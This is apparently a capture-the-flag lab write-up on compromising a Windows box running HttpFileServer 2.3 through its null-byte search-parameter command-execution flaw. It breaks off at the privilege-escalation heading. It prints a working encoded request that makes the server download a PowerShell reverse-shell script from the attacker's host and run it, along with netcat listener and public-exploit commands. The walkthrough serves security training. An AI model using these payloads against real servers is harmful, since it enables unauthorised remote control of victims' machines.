Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Enumeration
We just found only 1 port open on the machine. We can see the version of the application is HTTPFileServer 2.3.
By searching on google, this version is vulnerable to remote command execution attack due to a poor regex in the file ParserLib.pas. It allow remote attacks to execute arbitrary programs via %00 sequence in a search action.
Let start manual test first, inserting %00 in the search field and send it through burp proxy.
Let start tcpdump to capture the traffic coming through tun0 (VPN connection).
tcpdump -i tun0
Let start execute command ping to our kali machine through burp and see the traffic. As we can the traffic coming from our machine ping to our kali machine.
#1 Exploitation (Manual)
Let start replace ping command to execute remote code execute script. We can grab and edit reverse shell script from nishang which running in powershell script.
# Insert this line at the end of the script
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.31 -Port 4444
Let start netcat listener on port 4444 and start up HTTP Server with python3 to share file.
nc -lvp 4444
python3 -m http.server 80
Then, execute command on burp to download and execute the reverse shell script.
# Before Encode
GET /?search=%00{.exec|c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/Invoke-PowerShellTcp.ps1').} HTTP/1.1
# After Encode
GET /?search=%00{.exec|c%3a\windows\SysNative\WindowsPowershell\v1.0\powershell.exe+IEX(New-Object+Net.WebClient).downloadString('http%3a//10.10.14.31/Invoke-PowerShellTcp.ps1').} HTTP/1.1
#2 Exploitation (Script)
Searching for public exploit, we found python script which could exploit this vulnerable.
We just need to replace IP address and Port accordingly to our situation.
Let start our netcat listener on port 4444 and execute the payload.
nc -lvp 4444
python3 49584.py
#1 Priv-Esc
